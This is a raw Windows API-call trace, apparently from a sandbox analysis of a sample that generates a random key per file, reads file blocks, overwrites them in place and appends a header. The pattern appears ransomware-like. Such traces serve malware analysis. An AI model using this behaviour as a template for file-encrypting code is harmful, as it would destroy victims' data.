GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.231] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.231] WriteFile (in: hFile=0x9ac, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.231] WriteFile (in: hFile=0x9ac, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.232] GetProcessHeap () returned 0x540000 [0088.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.232] GetProcessHeap () returned 0x540000 [0088.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.232] GetProcessHeap () returned 0x540000 [0088.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.232] CloseHandle (hObject=0x9ac) returned 1 [0088.233] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 141 [0088.233] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.233] ReadFile (in: hFile=0x9b0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.233] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.233] GetProcessHeap () returned 0x540000 [0088.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.233] GetProcessHeap () returned 0x540000 [0088.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.233] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.234] GetProcessHeap () returned 0x540000 [0088.234] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.234] ReadFile (in: hFile=0x9b0, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.285] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.285] WriteFile (in: hFile=0x9b0, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.286] GetProcessHeap () returned 0x540000 [0088.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.286] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.287] GetProcessHeap () returned 0x540000 [0088.287] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.287] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.288] GetProcessHeap () returned 0x540000 [0088.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.289] GetProcessHeap () returned 0x540000 [0088.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.289] GetProcessHeap () returned 0x540000 [0088.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.290] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.290] WriteFile (in: hFile=0x9b0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.290] WriteFile (in: hFile=0x9b0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.290] GetProcessHeap () returned 0x540000 [0088.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.290] CloseHandle (hObject=0x9b0) returned 1 [0088.292] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 142 [0088.292] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.292] ReadFile (in: hFile=0x9b4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.292] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.292] GetProcessHeap () returned 0x540000 [0088.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.292] GetProcessHeap () returned 0x540000 [0088.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.292] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.292] GetProcessHeap () returned 0x540000 [0088.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.292] ReadFile (in: hFile=0x9b4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.342] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.342] WriteFile (in: hFile=0x9b4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.342] GetProcessHeap () returned 0x540000 [0088.342] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.342] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.343] GetProcessHeap () returned 0x540000 [0088.343] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.343] GetProcessHeap () returned 0x540000 [0088.344] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.344] GetProcessHeap () returned 0x540000 [0088.344] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.345] GetProcessHeap () returned 0x540000 [0088.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.345] GetProcessHeap () returned 0x540000 [0088.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.345] GetProcessHeap () returned 0x540000 [0088.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.345] GetProcessHeap () returned 0x540000 [0088.345] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 